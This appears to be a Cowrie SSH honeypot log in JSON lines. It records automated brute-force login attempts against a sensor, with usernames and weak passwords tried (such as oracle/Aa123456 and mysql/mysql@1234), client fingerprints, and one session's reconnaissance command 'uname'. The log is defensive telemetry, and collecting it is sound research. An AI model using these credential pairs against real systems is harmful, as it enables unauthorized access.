{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:29.246067Z","src_ip":"91.92.40.171","session":"455a34c379b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34924,"dst_ip":"159.203.135.109","dst_port":22,"session":"247fb2cc0ad6","protocol":"ssh","message":"New connection: 91.92.42.133:34924 (159.203.135.109:22) [session: 247fb2cc0ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:32.391571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:32.689011Z","src_ip":"91.92.42.133","session":"247fb2cc0ad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:32.693783Z","src_ip":"91.92.42.133","session":"247fb2cc0ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1","message":"login attempt [rocky/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:32.979424Z","src_ip":"91.92.40.171","session":"455a34c379b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59ed88bcdfa","protocol":"ssh","message":"New connection: 91.92.40.171:44520 (159.203.135.109:22) [session: b59ed88bcdfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:33.609821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:33.756296Z","src_ip":"91.92.40.171","session":"b59ed88bcdfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:33.760330Z","src_ip":"91.92.40.171","session":"b59ed88bcdfa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:34.583555Z","src_ip":"91.92.40.171","session":"b59ed88bcdfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:34.767065Z","src_ip":"91.92.42.133","session":"247fb2cc0ad6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:34.928624Z","src_ip":"91.92.40.171","session":"b59ed88bcdfa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:34.933308Z","src_ip":"91.92.40.171","session":"b59ed88bcdfa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:35.069479Z","src_ip":"91.92.40.171","session":"b59ed88bcdfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:35.074968Z","src_ip":"91.92.40.171","session":"455a34c379b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:35.092759Z","src_ip":"91.92.40.171","session":"b59ed88bcdfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:36.283617Z","src_ip":"91.92.42.133","session":"247fb2cc0ad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58926,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b333b60e122","protocol":"ssh","message":"New connection: 91.92.42.133:58926 (159.203.135.109:22) [session: 5b333b60e122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:39.569203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:40.290118Z","src_ip":"91.92.42.133","session":"5b333b60e122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:40.294312Z","src_ip":"91.92.42.133","session":"5b333b60e122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59494,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a24245684e8","protocol":"ssh","message":"New connection: 91.92.40.171:59494 (159.203.135.109:22) [session: 8a24245684e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:40.810657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:40.818896Z","src_ip":"91.92.40.171","session":"8a24245684e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:41.497094Z","src_ip":"91.92.40.171","session":"8a24245684e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:42.015152Z","src_ip":"91.92.42.133","session":"5b333b60e122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:43.544604Z","src_ip":"91.92.42.133","session":"5b333b60e122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34292,"dst_ip":"159.203.135.109","dst_port":22,"session":"c773d0a5e7a2","protocol":"ssh","message":"New connection: 91.92.42.133:34292 (159.203.135.109:22) [session: c773d0a5e7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:47.341344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:47.527246Z","src_ip":"91.92.42.133","session":"c773d0a5e7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:47.532821Z","src_ip":"91.92.42.133","session":"c773d0a5e7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:48.089015Z","src_ip":"91.92.40.171","session":"8a24245684e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60934,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bc5b97c6d6e","protocol":"ssh","message":"New connection: 91.92.40.171:60934 (159.203.135.109:22) [session: 1bc5b97c6d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:48.449572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:48.681997Z","src_ip":"91.92.40.171","session":"1bc5b97c6d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:49.139636Z","src_ip":"91.92.42.133","session":"c773d0a5e7a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41706,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fefa9dda067","protocol":"ssh","message":"New connection: 27.71.230.31:41706 (10.17.0.5:22) [session: 4fefa9dda067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:50.026762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:50.093346Z","src_ip":"27.71.230.31","session":"4fefa9dda067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:50.290094Z","src_ip":"91.92.40.171","session":"8a24245684e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:50.319752Z","src_ip":"91.92.42.133","session":"c773d0a5e7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:51.214814Z","src_ip":"27.71.230.31","session":"4fefa9dda067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60972,"dst_ip":"159.203.135.109","dst_port":22,"session":"adc2a3fad189","protocol":"ssh","message":"New connection: 91.92.40.171:60972 (159.203.135.109:22) [session: adc2a3fad189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:51.588693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:51.857636Z","src_ip":"91.92.40.171","session":"adc2a3fad189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:51.860858Z","src_ip":"91.92.40.171","session":"adc2a3fad189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 